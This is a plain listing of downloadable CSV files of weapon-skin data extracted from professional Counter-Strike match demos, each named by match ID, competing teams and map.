↓\n68290_astralis-vs-heroic-ancient.dem.skins.csv ↓\n68291_g2-vs-entropiq-m1-mirage.dem.skins.csv ↓\n68291_g2-vs-entropiq-m2-dust2.dem.skins.csv ↓\n68292_vitality-vs-evil-geniuses-m1-inferno.dem.skins.csv ↓\n68292_vitality-vs-evil-geniuses-m2-vertigo.dem.skins.csv ↓\n68292_vitality-vs-evil-geniuses-m3-dust2.dem.skins.csv ↓\n68294_natus-vincere-vs-nip-m1-nuke.dem.skins.csv ↓\n68294_natus-vincere-vs-nip-m2-overpass.dem.skins.csv ↓\n68298_mouz-vs-ence-m1-mirage.dem.skins.csv ↓\n68298_mouz-vs-ence-m2-vertigo.dem.skins.csv ↓\n68308_faze-vs-liquid-m1-inferno.dem.skins.csv ↓\n68308_faze-vs-liquid-m2-mirage.dem.skins.csv ↓\n68309_entropiq-vs-furia-m1-vertigo.dem.skins.csv ↓\n68309_entropiq-vs-furia-m2-nuke.dem.skins.csv ↓\n68309_entropiq-vs-furia-m3-ancient.dem.skins.csv ↓\n68310_nip-vs-gambit-m1-dust2.dem.skins.csv ↓\n68310_nip-vs-gambit-m2-inferno.dem.skins.csv ↓\n68311_astralis-vs-vitality-m1-nuke.dem.skins.csv ↓\n68311_astralis-vs-vitality-m2-vertigo.dem.skins.csv ↓\n68311_astralis-vs-vitality-m3-dust2.dem.skins.csv ↓\n68312_heroic-vs-copenhagen-flames-m1-nuke.dem.skins.csv ↓\n68312_heroic-vs-copenhagen-flames-m2-ancient.dem.skins.csv ↓\n68312_heroic-vs-copenhagen-flames-m3-overpass.dem.skins.csv ↓\n68313_virtus-pro-vs-mouz-m1-ancient.dem.skins.csv ↓\n68313_virtus-pro-vs-mouz-m2-inferno.dem.skins.csv ↓\n68313_virtus-pro-vs-mouz-m3-vertigo.dem.skins.csv ↓\n68324_entropiq-vs-vitality-m1-mirage.dem.skins.csv ↓\n68324_entropiq-vs-vitality-m2-overpass.dem.skins.csv ↓\n68324_entropiq-vs-vitality-m3-dust2.dem.skins.csv ↓\n68325_virtus-pro-vs-faze-m1-inferno.dem.skins.csv ↓\n68325_virtus-pro-vs-faze-m2-ancient.dem.skins.csv ↓\n68325_virtus-pro-vs-faze-m3-overpass.dem.skins.csv ↓\n68326_copenhagen-flames-vs-nip-m1-nuke.dem.skins.csv ↓\n68326_copenhagen-flames-vs-nip-m2-inferno.dem.skins.csv ↓\n68326_copenhagen-flames-vs-nip-m3-ancient.dem.skins.csv ↓\n68365_heroic-vs-virtus-pro-m1-mirage.dem.skins.csv ↓\n68365_heroic-vs-virtus-pro-m2-ancient.dem.skins.csv ↓\n68365_heroic-vs-virtus-pro-m3-inferno.dem.skins.csv ↓\n68366_g2-vs-nip-m1-inferno.dem.skins.csv ↓\n68366_g2-vs-nip-m2-mirage.dem.skins.csv ↓\n68371_gambit-vs-furia-m1-inferno.dem.skins.csv ↓\n68371_gambit-vs-furia-m2-overpass.dem.skins.csv ↓\n68372_natus-vincere-vs-vitality-m1-dust2.dem.skins.csv ↓\n68372_natus-vincere-vs-vitality-m2-nuke.dem.skins.csv ↓\n68382_heroic-vs-g2-m1-nuke.dem.skins.csv ↓\n68382_heroic-vs-g2-m2-mirage.dem.skins.csv ↓\n68382_heroic-vs-g2-m3-inferno.dem.skins.csv ↓\n68384_gambit-vs-natus-vincere-m1-overpass.dem.skins.csv ↓\n68384_gambit-vs-natus-vincere-m2-mirage.dem.skins.csv ↓\n68407_g2-vs-natus-vincere-m1-ancient.dem.skins.csv ↓\n68407_g2-vs-natus-vincere-m2-nuke.dem.skins.csv ↓\n71861_copenhagen-flames-vs-bad-news-eagles-ancient.dem.skins.csv ↓\n71862_heroic-vs-liquid-vertigo.dem.skins.csv ↓\n71863_nip-vs-vitality-overpass.dem.skins.csv ↓\n71864_cloud9-vs-outsiders-mirage.dem.skins.csv ↓\n71865_faze-vs-ence-mirage.dem.skins.csv ↓\n71866_furia-vs-spirit-nuke.dem.skins.csv ↓\n71867_big-vs-imperial-nuke.dem.skins.csv ↓\n71868_natus-vincere-vs-g2-mirage.dem.skins.csv ↓\n71869_vitality-vs-outsiders-mirage.dem.skins.csv ↓\n71870_heroic-vs-spirit-nuke.dem.skins.csv ↓\n71871_copenhagen-flames-vs-ence-ancient.dem.skins.csv ↓\n71872_faze-vs-bad-news-eagles-ancient.dem.skins.csv ↓\n71873_furia-vs-liquid-ancient.dem.skins.csv ↓\n71874_big-vs-natus-vincere-ancient.dem.skins.csv ↓\n71875_g2-vs-imperial-mirage.dem.skins.csv ↓\n71876_cloud9-vs-nip-inferno.dem.skins.csv ↓\n71878_ence-vs-outsiders-mirage.dem.skins.csv ↓\n71879_heroic-vs-g2-vertigo.dem.skins.csv ↓\n71880_big-vs-furia-vertigo.dem.skins.csv ↓\n71881_cloud9-vs-faze-nuke.dem.skins.csv ↓\n71882_vitality-vs-liquid-m1-mirage.dem.skins.csv ↓\n71882_vitality-vs-liquid-m2-dust2.dem.skins.csv ↓\n71885_spirit-vs-copenhagen-flames-m1-vertigo.dem.skins.csv ↓\n71885_spirit-vs-copenhagen-flames-m2-mirage.dem.skins.csv ↓\n71885_spirit-vs-copenhagen-flames-m3-ancient.dem.skins.csv ↓\n71887_bad-news-eagles-vs-imperial-m1-inferno.dem.skins.csv ↓\n71887_bad-news-eagles-vs-imperial-m2-mirage.dem.skins.csv ↓\n71889_natus-vincere-vs-nip-m1-inferno.dem.skins.csv ↓\n71889_natus-vincere-vs-nip-m2-mirage.dem.skins.csv ↓\n71889_natus-vincere-vs-nip-m3-ancient.dem.skins.csv ↓\n71892_copenhagen-flames-vs-faze-m1-inferno.dem.skins.csv ↓\n71892_copenhagen-flames-vs-faze-m2-ancient.dem.skins.csv ↓\n71892_copenhagen-flames-vs-faze-m3-nuke.dem.skins.csv ↓\n71893_big-vs-vitality-m1-mirage.dem.skins.csv ↓\n71893_big-vs-vitality-m2-vertigo.dem.skins.csv ↓\n71893_big-vs-vitality-m3-nuke.dem.skins.csv ↓\n71894_nip-vs-furia-m1-nuke.dem.skins.csv ↓\n71894_nip-vs-furia-m2-inferno.dem.skins.csv ↓\n71895_g2-vs-outsiders-m1-inferno.dem.skins.csv ↓\n71895_g2-vs-outsiders-m2-vertigo.dem.skins.csv ↓\n71895_g2-vs-outsiders-m3-dust2.dem.skins.csv ↓\n71896_ence-vs-heroic-m1-overpass.dem.skins.csv ↓\n71896_ence-vs-heroic-m2-mirage.dem.skins.csv ↓\n71896_ence-vs-heroic-m3-nuke.dem.skins.csv ↓\n71897_cloud9-vs-imperial-m1-overpass.dem.skins.csv ↓\n71897_cloud9-vs-imperial-m2-vertigo.dem.skins.csv ↓\n71897_cloud9-vs-imperial-m3-mirage.dem.skins.csv ↓\n71898_heroic-vs-vitality-m1-mirage.dem.skins.csv ↓\n71898_heroic-vs-vitality-m2-overpass.dem.skins.csv ↓\n71898_heroic-vs-vitality-m3-inferno.dem.skins.csv ↓\n71899_g2-vs-furia-m1-vertigo.dem.skins.csv ↓\n71899_g2-vs-furia-m2-inferno.dem.skins.csv ↓\n71899_g2-vs-furia-m3-ancient.dem.skins.csv ↓\n71900_copenhagen-flames-vs-imperial-m1-inferno.dem.skins.csv ↓\n71900_copenhagen-flames-vs-imperial-m2-vertigo.dem.skins.csv ↓\n71910_nip-vs-faze-m1-nuke.dem.skins.csv ↓\n71910_nip-vs-faze-m2-overpass.dem.skins.csv ↓\n71910_nip-vs-faze-m3-inferno.dem.skins.csv ↓\n71911_spirit-vs-furia-m1-vertigo.dem.skins.csv ↓\n71911_spirit-vs-furia-m2-ancient.dem.skins.csv ↓\n71939_ence-vs-copenhagen-flames-m1-vertigo.dem.skins.csv ↓\n71939_ence-vs-copenhagen-flames-m2-nuke.dem.skins.csv ↓\n71946_natus-vincere-vs-heroic-m1-inferno.dem.skins.csv ↓\n71946_natus-vincere-vs-heroic-m2-ancient.dem.skins.csv ↓\n71946_natus-vincere-vs-heroic-m3-nuke.dem.skins.csv ↓\n71964_faze-vs-spirit-m1-mirage.dem.skins.csv ↓\n71964_faze-vs-spirit-m2-dust2.dem.skins.csv ↓\n71965_ence-vs-natus-vincere-m1-nuke.dem.skins.csv ↓\n71965_ence-vs-natus-vincere-m2-dust2.dem.skins.csv ↓\n71998_faze-vs-natus-vincere-m1-inferno.dem.skins.csv ↓\n71998_faze-vs-natus-vincere-m2-nuke.dem.skins.csv ↓\n75553_spirit-vs-bad-news-eagles-ancient.dem.skins.csv ↓\n75555_mouz-vs-liquid-inferno.dem.skins.csv ↓\n75556_sprout-vs-big-vertigo.dem.skins.csv ↓\n75557_faze-vs-cloud9-overpass.dem.skins.csv ↓\n75558_outsiders-vs-heroic-overpass.dem.skins.csv ↓\n75559_vitality-vs-natus-vincere-mirage.dem.skins.csv ↓\n75560_ninjas-in-pyjamas-vs-fnatic-inferno.dem.skins.csv ↓\n75562_furia-vs-ence-vertigo.dem.skins.csv ↓\n75564_mouz-vs-big-mirage.dem.skins.csv ↓\n75565_sprout-vs-liquid-inferno.dem.skins.csv ↓\n75566_faze-vs-vitality-inferno.dem.skins.csv ↓\n75567_natus-vincere-vs-cloud9-mirage.dem.skins.csv ↓\n75568_spirit-vs-furia-mirage.dem.skins.csv ↓\n75569_ence-vs-bad-news-eagles-ancient.dem.skins.csv ↓\n75570_heroic-vs-fnatic-mirage.dem.skins.csv ↓\n75571_ninjas-in-pyjamas-vs-outsiders-mirage.dem.skins.csv ↓\n75576_natus-vincere-vs-liquid-ancient.dem.skins.csv ↓\n75577_mouz-vs-vitality-mirage.dem.skins.csv ↓\n75580_ence-vs-fnatic-nuke.dem.skins.csv ↓\n75584_spirit-vs-outsiders-dust2.dem.skins.csv ↓\n75585_heroic-vs-cloud9-m1-vertigo.dem.skins.csv ↓\n75585_heroic-vs-cloud9-m2-inferno.dem.skins.csv ↓\n75588_faze-vs-bad-news-eagles-m1-vertigo.dem.skins.csv ↓\n75588_faze-vs-bad-news-eagles-m2-nuke.dem.skins.csv ↓\n75588_faze-vs-bad-news-eagles-m3-mirage.dem.skins.csv ↓\n75589_furia-vs-big-m1-nuke.dem.skins.csv ↓\n75589_furia-vs-big-m2-vertigo.dem.skins.csv ↓\n75590_sprout-vs-ninjas-in-pyjamas-m1-vertigo.dem.skins.csv ↓\n75590_sprout-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv ↓\n75593_natus-vincere-vs-bad-news-eagles-m1-ancient.dem.skins.csv ↓\n75593_natus-vincere-vs-bad-news-eagles-m2-nuke.dem.skins.csv ↓\n75594_mouz-vs-outsiders-m1-overpass.dem.skins.csv ↓\n75594_mouz-vs-outsiders-m2-inferno.dem.skins.csv ↓\n75595_big-vs-fnatic-m1-overpass.dem.skins.csv ↓\n75595_big-vs-fnatic-m2-mirage.dem.skins.csv ↓\n75596_ence-vs-vitality-m1-vertigo.dem.skins.csv ↓\n75596_ence-vs-vitality-m2-nuke.dem.skins.csv ↓\n75597_spirit-vs-sprout-m1-nuke.dem.skins.csv ↓\n75597_spirit-vs-sprout-m2-vertigo.dem.skins.csv ↓\n75598_heroic-vs-liquid-m1-vertigo.dem.skins.csv ↓\n75598_heroic-vs-liquid-m2-mirage.dem.skins.csv ↓\n75598_heroic-vs-liquid-m3-overpass.dem.skins.csv ↓\n75602_mouz-vs-ence-m1-ancient.dem.skins.csv ↓\n75602_mouz-vs-ence-m2-nuke.dem.skins.csv ↓\n75602_mouz-vs-ence-m3-mirage.dem.skins.csv ↓\n75604_big-vs-natus-vincere-m1-mirage.dem.skins.csv ↓\n75604_big-vs-natus-vincere-m2-dust2.dem.skins.csv ↓\n75607_liquid-vs-spirit-m1-vertigo.dem.skins.csv ↓\n75607_liquid-vs-spirit-m2-mirage.dem.skins.csv ↓\n75607_liquid-vs-spirit-m3-ancient.dem.skins.csv ↓\n75619_outsiders-vs-fnatic-m1-inferno.dem.skins.csv ↓\n75619_outsiders-vs-fnatic-m2-mirage.dem.skins.csv ↓\n75620_mouz-vs-cloud9-m1-inferno.dem.skins.csv ↓\n75620_mouz-vs-cloud9-m2-overpass.dem.skins.csv ↓\n75620_mouz-vs-cloud9-m3-ancient.dem.skins.csv ↓\n75624_spirit-vs-heroic-m1-vertigo.dem.skins.csv ↓\n75624_spirit-vs-heroic-m2-overpass.dem.skins.csv ↓\n75625_furia-vs-natus-vincere-m1-nuke.dem.skins.csv ↓\n75625_furia-vs-natus-vincere-m2-ancient.dem.skins.csv ↓\n75625_furia-vs-natus-vincere-m3-mirage.dem.skins.csv ↓\n75631_outsiders-vs-mouz-m1-ancient.dem.skins.csv ↓\n75631_outsiders-vs-mouz-m2-overpass.dem.skins.csv ↓\n75631_outsiders-vs-mouz-m3-inferno.dem.skins.csv ↓\n75632_heroic-vs-furia-m1-inferno.dem.skins.csv ↓\n75632_heroic-vs-furia-m2-ancient.dem.skins.csv ↓\n75632_heroic-vs-furia-m3-nuke.dem.skins.csv ↓\n75637_outsiders-vs-heroic-m1-mirage.dem.skins.csv ↓\n75637_outsiders-vs-heroic-m2-overpass.dem.skins.csv ↓\n79711_9ine-vs-liquid-inferno.dem.skins.csv ↓\n79712_natus-vincere-vs-gamerlegion-mirage.dem.skins.csv ↓\n79715_fnatic-vs-ninjas-in-pyjamas-nuke.dem.skins.csv ↓\n79716_heroic-vs-faze-inferno.dem.skins.csv ↓\n79717_into-the-breach-vs-apeks-mirage.dem.skins.csv ↓\n79718_furia-vs-monte-ancient.dem.skins.csv ↓\n79719_vitality-vs-g2-nuke.dem.skins.csv ↓\n79720_bad-news-eagles-vs-ence-vertigo.dem.skins.csv ↓\n79721_liquid-vs-natus-vincere-inferno.dem.skins.csv ↓\n79722_fnatic-vs-monte-vertigo.dem.skins.csv ↓\n79723_vitality-vs-ence-vertigo.dem.skins.csv ↓\n79724_heroic-vs-apeks-mirage.dem.skins.csv ↓\n79725_furia-vs-ninjas-in-pyjamas-nuke.dem.skins.csv ↓\n79726_9ine-vs-gamerlegion-mirage.dem.skins.csv ↓\n79727_bad-news-eagles-vs-g2-ancient.dem.skins.csv ↓\n79728_faze-vs-into-the-breach-inferno.dem.skins.csv ↓\n79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.skins.csv ↓\n79733_ence-vs-into-the-breach-vertigo.dem.skins.csv ↓\n79734_apeks-vs-bad-news-eagle-ancient.dem.skins.csv ↓\n79735_fnatic-vs-gamerlegion-overpass.dem.skins.csv ↓\n79736_monte-vs-vitality-m1-anubis.dem.skins.csv ↓\n79736_monte-vs-vitality-m2-nuke.dem.skins.csv ↓\n79739_9ine-vs-faze-m1-inferno.dem.skins.csv ↓\n79739_9ine-vs-faze-m2-anubis.dem.skins.csv ↓\n79740_heroic-vs-liquid-m1-inferno.dem.skins.csv ↓\n79740_heroic-vs-liquid-m2-mirage.dem.skins.csv ↓\n79740_heroic-vs-liquid-m3-ancient.dem.skins.csv ↓\n79741_furia-vs-g2-m1-inferno.dem.skins.csv ↓\n79741_furia-vs-g2-m2-mirage.dem.skins.csv ↓\n79742_ence-vs-ninjas-in-pyjamas-m1-mirage.dem.skins.csv ↓\n79742_ence-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv ↓\n79744_faze-vs-bad-news-eagles-m1-overpass.dem.skins.csv ↓\n79744_faze-vs-bad-news-eagles-m2-mirage.dem.skins.csv ↓\n79744_faze-vs-bad-news-eagles-m3-inferno.dem.skins.csv ↓\n79745_monte-vs-natus-vincere-m1-anubis.dem.skins.csv ↓\n79745_monte-vs-natus-vincere-m2-nuke.dem.skins.csv ↓\n79746_liquid-vs-into-the-breach-m1-overpass.dem.skins.csv ↓\n79746_liquid-vs-into-the-breach-m2-anubis.dem.skins.csv ↓\n79747_fnatic-vs-g2-m1-inferno.dem.skins.csv ↓\n79747_fnatic-vs-g2-m2-ancient.dem.skins.csv ↓\n79747_fnatic-vs-g2-m3-vertigo.dem.skins.csv ↓\n79748_apeks-vs-gamerlegion-m1-ancient.dem.skins.csv ↓\n79748_apeks-vs-gamerlegion-m2-overpass.dem.skins.csv ↓\n79756_faze-vs-natus-vincere-m1-overpass.dem.skins.csv ↓\n79756_faze-vs-natus-vincere-m2-mirage.dem.skins.csv ↓\n79756_faze-vs-natus-vincere-m3-anubis.dem.skins.csv ↓\n79758_fnatic-vs-into-the-breach-m1-inferno.dem.skins.csv ↓\n79758_fnatic-vs-into-the-breach-m2-overpass.dem.skins.csv ↓\n79758_fnatic-vs-into-the-breach-m3-vertigo.dem.skins.csv ↓\n79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.skins.csv ↓\n79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv ↓\n79802_heroic-vs-faze-m1-nuke.dem.skins.csv ↓\n79802_heroic-vs-faze-m2-overpass.dem.skins.csv ↓\n79802_heroic-vs-faze-m3-mirage.dem.skins.csv ↓\n79803_vitality-vs-into-the-breach-m1-vertigo.dem.skins.csv ↓\n79803_vitality-vs-into-the-breach-m2-anubis.dem.skins.csv ↓\n79806_monte-vs-gamerlegion-m1-mirage.dem.skins.csv ↓\n79806_monte-vs-gamerlegion-m2-overpass.dem.skins.csv ↓\n79807_liquid-vs-apeks-m1-ancient.dem.skins.csv ↓\n79807_liquid-vs-apeks-m2-overpass.dem.skins.csv ↓\n79831_heroic-vs-gamerlegion-m1-ancient.dem.skins.csv ↓\n79831_heroic-vs-gamerlegion-m2-inferno.dem.skins.csv ↓\n79831_heroic-vs-gamerlegion-m3-mirage.dem.skins.csv ↓\n79832_vitality-vs-apeks-m1-mirage.dem.skins.csv ↓\n79832_vitality-vs-apeks-m2-vertigo.dem.skins.csv ↓\n79841_gamerlegion-vs-vitality-m1-overpass.dem.skins.csv ↓\n79841_gamerlegion-vs-vitality-m2-nuke.dem.skins.csv ↓\n86018_natus-vincere-vs-themongolz-mirage.dem.skins.csv ↓\n86019_mouz-vs-ecstatic-overpass.dem.skins.csv ↓\n86020_virtus-pro-vs-imperial-inferno.dem.skins.csv ↓\n86021_vitality-vs-eternal-fire-inferno.dem.skins.csv ↓\n86023_complexity-vs-pain-vertigo.dem.skins.csv ↓\n86024_faze-vs-heroic-ancient.dem.skins.csv ↓\n86025_g2-vs-furia-inferno.dem.skins.csv ↓\n86026_spirit-vs-cloud9-ancient.dem.skins.csv ↓\n86029_vitality-vs-themongolz-nuke.dem.skins.csv ↓\n86030_mouz-vs-eternal-fire-vertigo.dem.skins.csv ↓\n86031_virtuspro-vs-pain-inferno.dem.skins.csv ↓\n86032_complexity-vs-heroic-vertigo.dem.skins.csv ↓\n86033_cloud9-vs-ecstatic-overpass.dem.skins.csv ↓\n86035_natus-vincere-vs-g2-nuke.dem.skins.csv ↓\n86036_faze-vs-furia-ancient.dem.skins.csv ↓\n86038_spirit-vs-imperial-mirage.dem.skins.csv ↓\n86044_heroic-vs-virtus-pro-ancient.dem.skins.csv ↓\n86045_g2-vs-cloud9-anubis.dem.skins.csv ↓\n86047_eternal-fire-vs-faze-overpass.dem.skins.csv ↓\n86048_imperial-vs-vitality-overpass.dem.skins.csv ↓\n86050_mouz-vs-complexity-m1-overpass.dem.skins.csv ↓\n86050_mouz-vs-complexity-m2-ancient.dem.skins.csv ↓\n86051_pain-vs-themongolz-m1-mirage.dem.skins.csv ↓\n86051_pain-vs-themongolz-m2-nuke.dem.skins.csv ↓\n86051_pain-vs-themongolz-m3-inferno.dem.skins.csv ↓\n86053_spirit-vs-natus-vincere-m1-nuke.dem.skins.csv ↓\n86053_spirit-vs-natus-vincere-m2-ancient.dem.skins.csv ↓\n86053_spirit-vs-natus-vincere-m3-mirage.dem.skins.csv ↓\n86055_ecstatic-vs-furia-m1-overpass.dem.skins.csv ↓\n86055_ecstatic-vs-furia-m2-inferno.dem.skins.csv ↓\n86055_ecstatic-vs-furia-m3-ancient.dem.skins.csv ↓\n86061_imperial-vs-faze-m1-nuke.dem.skins.csv ↓\n86061_imperial-vs-faze-m2-anubis.dem.skins.csv ↓\n86061_imperial-vs-faze-m3-mirage.dem.skins.csv ↓\n86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.skins.csv ↓\n86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.skins.csv ↓\n86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.skins.csv ↓\n86064_ecstatic-vs-g2-m1-inferno.dem.skins.csv ↓\n86064_ecstatic-vs-g2-m2-vertigo.dem.skins.csv ↓\n86064_ecstatic-vs-g2-m3-anubis.dem.skins.csv ↓\n86065_complexity-vs-vitality-m1-inferno.dem.skins.csv ↓\n86065_complexity-vs-vitality-m2-vertigo.dem.skins.csv ↓\n86065_complexity-vs-vitality-m3-anubis.dem.skins.csv ↓\n86066_heroic-vs-pain-m1-nuke.dem.skins.csv ↓\n86066_heroic-vs-pain-m2-mirage.dem.skins.csv ↓\n86069_cloud9-vs-natus-vincere-m1-mirage.dem.skins.csv ↓\n86069_cloud9-vs-natus-vincere-m2-ancient.dem.skins.csv ↓\n86069_cloud9-vs-natus-vincere-m3-overpass.dem.skins.csv ↓\n86074_complexity-vs-faze-m1-nuke.dem.skins.csv ↓\n86074_complexity-vs-faze-m2-overpass.dem.skins.csv ↓\n86076_virtus-pro-vs-g2-m1-overpass.dem.skins.csv ↓\n86076_virtus-pro-vs-g2-m2-inferno.dem.skins.csv ↓\n86076_virtus-pro-vs-g2-m3-anubis.dem.skins.csv ↓\n86078_natus-vincere-vs-pain-m1-nuke.dem.skins.csv ↓\n86078_natus-vincere-vs-pain-m2-mirage.dem.skins.csv ↓\n86154_cloud9-vs-vitality-m1-inferno.dem.skins.csv ↓\n86154_cloud9-vs-vitality-m2-anubis.dem.skins.csv ↓\n86162_spirit-vs-faze-m1-mirage.dem.skins.csv ↓\n86162_spirit-vs-faze-m2-nuke.dem.skins.csv ↓\n86162_spirit-vs-faze-m3-vertigo.dem.skins.csv ↓\n86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.skins.csv ↓\n86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.skins.csv ↓\n86175_mouz-vs-g2-m1-inferno.dem.skins.csv ↓\n86175_mouz-vs-g2-m2-vertigo.dem.skins.csv ↓\n86180_vitality-vs-faze-m1-nuke.dem.skins.csv ↓\n86180_vitality-vs-faze-m2-vertigo.dem.skins.csv ↓\n86180_vitality-vs-faze-m3-inferno.dem.skins.csv ↓\n86181_natus-vincere-vs-g2-m1-anubis.dem.skins.csv ↓\n86181_natus-vincere-vs-g2-m2-nuke.dem.skins.csv ↓\n86181_natus-vincere-vs-g2-m3-ancient.dem.skins.csv ↓\n86188_faze-vs-natus-vincere-m1-ancient.dem.skins.csv ↓\n86188_faze-vs-natus-vincere-m2-mirage.dem.skins.csv ↓\n86188_faze-vs-natus-vincere-m3-inferno.dem.skins.csv ↓\n92883_natus-vincere-vs-liquid-nuke.dem.skins.csv ↓\n92884_vitality-vs-gamerlegion-mirage.dem.skins.csv ↓\n92885_g2-vs-the-mongolz-inferno.dem.skins.csv ↓\n92886_spirit-vs-furia-dust2.dem.skins.csv ↓\n92887_mouz-vs-pain-nuke.dem.skins.csv ↓\n92888_faze-vs-wildcard-ancient.dem.skins.csv ↓\n92889_heroic-vs-big-mirage.dem.skins.csv ↓\n92890_3dmax-vs-mibr-vertigo.dem.skins.csv ↓\n92894_liquid-vs-gamerlegion-inferno.dem.skins.csv ↓\n92895_vitality-vs-furia-mirage.dem.skins.csv ↓\n92896_mouz-vs-the-mongolz-mirage.dem.skins.csv ↓\n92897_spirit-vs-wildcard-ancient.dem.skins.csv ↓\n92898_g2-vs-big-mirage.dem.skins.csv ↓\n92902_natus-vincere-vs-mibr-inferno.dem.skins.csv ↓\n92905_faze-vs-heroic-ancient.dem.skins.csv ↓\n92906_3dmax-vs-pain-dust2.dem.skins.csv ↓\n92915_natus-vincere-vs-spirit-mirage.dem.skins.csv ↓\n92916_furia-vs-liquid-inferno.dem.skins.csv ↓\n92918_g2-vs-3dmax-ancient.dem.skins.csv ↓\n92919_mouz-vs-faze-inferno.dem.skins.csv ↓\n92921_vitality-vs-mibr-m1-mirage.dem.skins.csv ↓\n92921_vitality-vs-mibr-m2-anubis.dem.skins.csv ↓\n92922_gamerlegion-vs-wildcard-m1-dust2.dem.skins.csv ↓\n92922_gamerlegion-vs-wildcard-m2-ancient.dem.skins.csv ↓\n92922_gamerlegion-vs-wildcard-m3-anubis.dem.skins.csv ↓\n92925_big-vs-pain-m1-vertigo.dem.skins.csv ↓\n92925_big-vs-pain-m2-vertigo.dem.skins.csv ↓\n92925_big-vs-pain-m3-mirage.dem.skins.csv ↓\n92926_the-mongolz-vs-heroic-m1-mirage.dem.skins.csv ↓\n92926_the-mongolz-vs-heroic-m2-anubis.dem.skins.csv ↓\n92926_the-mongolz-vs-heroic-m3-ancient.dem.skins.csv ↓\n92943_big-vs-faze-m1-inferno.dem.skins.csv ↓\n92943_big-vs-faze-m2-mirage.dem.skins.csv ↓\n92948_natus-vincere-vs-gamerlegion-m1-nuke.dem.skins.csv ↓\n92948_natus-vincere-vs-gamerlegion-m2-mirage.dem.skins.csv ↓\n92949_mouz-vs-3dmax-m1-dust2.dem.skins.csv ↓\n92949_mouz-vs-3dmax-m2-nuke.dem.skins.csv ↓\n92950_mibr-vs-liquid-m1-mirage.dem.skins.csv ↓\n92950_mibr-vs-liquid-m2-nuke.dem.skins.csv ↓\n92950_mibr-vs-liquid-m3-anubis.dem.skins.csv ↓\n92953_furia-vs-pain-m1-vertigo.dem.skins.csv ↓\n92953_furia-vs-pain-m2-mirage.dem.skins.csv ↓\n92953_furia-vs-pain-m3-inferno.dem.skins.csv ↓\n92954_spirit-vs-heroic-m1-ancient.dem.skins.csv ↓\n92954_spirit-vs-heroic-m2-mirage.dem.skins.csv ↓\n92954_spirit-vs-heroic-m3-dust2.dem.skins.csv ↓\n92980_mibr-vs-mouz-m1-mirage.dem.skins.csv ↓\n92980_mibr-vs-mouz-m2-nuke.dem.skins.csv ↓\n92982_heroic-vs-natus-vincere-m1-mirage.dem.skins.csv ↓\n92982_heroic-vs-natus-vincere-m2-nuke.dem.skins.csv ↓\n92982_heroic-vs-natus-vincere-m3-ancient.dem.skins.csv ↓\n92984_faze-vs-furia-m1-inferno.dem.skins.csv ↓\n92984_faze-vs-furia-m2-dust2.dem.skins.csv ↓\n92984_faze-vs-furia-m3-mirage.dem.skins.csv ↓\n93035_the-mongolz-vs-mouz-m1-ancient.dem.skins.csv ↓\n93035_the-mongolz-vs-mouz-m2-nuke.dem.skins.csv ↓\n93037_spirit-vs-liquid-m1-anubis.dem.skins.csv ↓\n93037_spirit-vs-liquid-m2-dust2.dem.skins.csv ↓\n93050_g2-vs-heroic-m1-ancient.dem.skins.csv ↓\n93050_g2-vs-heroic-m2-nuke.dem.skins.csv ↓\n93050_g2-vs-heroic-m3-mirage.dem.skins.csv ↓\n93052_vitality-vs-faze-m1-nuke.dem.skins.csv ↓\n93052_vitality-vs-faze-m2-mirage.dem.skins.csv ↓\n93052_vitality-vs-faze-m3-anubis.dem.skins.csv ↓\n93073_mouz-vs-spirit-m1-nuke.dem.skins.csv ↓\n93073_mouz-vs-spirit-m2-ancient.dem.skins.csv ↓\n93073_mouz-vs-spirit-m3-mirage.dem.skins.csv ↓\n93076_g2-vs-faze-m1-ancient.dem.skins.csv ↓\n93076_g2-vs-faze-m2-nuke.dem.skins.csv ↓\n93102_spirit-vs-faze-m1-nuke.dem.skins.csv ↓\n93102_spirit-vs-faze-m2-ancient.dem.skins.csv ↓\n93102_spirit-vs-faze-m3-dust2.dem.skins.csv ↓\n97737_vitality-vs-legacy-inferno.dem.skins.csv ↓\n97739_mouz-vs-virtuspro-mirage.dem.skins.csv ↓\n97740_spirit-vs-pain-dust2.dem.skins.csv ↓\n97741_g2-vs-3dmax-nuke.dem.skins.csv ↓\n97743_aurora-vs-faze-anubis.dem.skins.csv ↓\n97745_the-mongolz-vs-furia-inferno.dem.skins.csv ↓\n97747_natus-vincere-vs-nemiga-train.dem.skins.csv ↓\n97748_liquid-vs-lynn-vision-dust2.dem.skins.csv ↓\n97750_aurora-vs-furia-dust2.dem.skins.csv ↓\n97751_virtus-pro-vs-legacy-ancient.dem.skins.csv ↓\n97752_3dmax-vs-natus-vincere-inferno.dem.skins.csv ↓\n97753_spirit-vs-lynn-vision-dust2.dem.skins.csv ↓\n97754_mouz-vs-faze-ancient.dem.skins.csv ↓\n97755_vitality-vs-nemiga-dust2.dem.skins.csv ↓\n97756_the-mongolz-vs-liquid-ancient.dem.skins.csv ↓\n97757_g2-vs-pain-dust2.dem.skins.csv ↓\n97769_3dmax-vs-vitality-nuke.dem.skins.csv ↓\n97770_legacy-vs-faze-anubis.dem.skins.csv ↓\n97772_aurora-vs-g2-inferno.dem.skins.csv ↓\n97773_the-mongolz-vs-lynn-vision-nuke.dem.skins.csv ↓\n97775_furia-vs-virtus-pro-m1-mirage.dem.skins.csv ↓\n97775_furia-vs-virtus-pro-m2-train.dem.skins.csv ↓\n97776_spirit-vs-natus-vincere-m1-anubis.dem.skins.csv ↓\n97776_spirit-vs-natus-vincere-m2-train.dem.skins.csv ↓\n97785_pain-vs-nemiga-m1-ancient.dem.skins.csv ↓\n97785_pain-vs-nemiga-m2-anubis.dem.skins.csv ↓\n97785_pain-vs-nemiga-m3-dust2.dem.skins.csv ↓\n97791_mouz-vs-liquid-m1-dust2.dem.skins.csv ↓\n97791_mouz-vs-liquid-m2-nuke.dem.skins.csv ↓\n97819_legacy-vs-lynn-vision-m1-dust2.dem.skins.csv ↓\n97819_legacy-vs-lynn-vision-m2-inferno.dem.skins.csv ↓\n97819_legacy-vs-lynn-vision-m3-nuke.dem.skins.csv ↓\n97820_3dmax-vs-pain-m1-inferno.dem.skins.csv 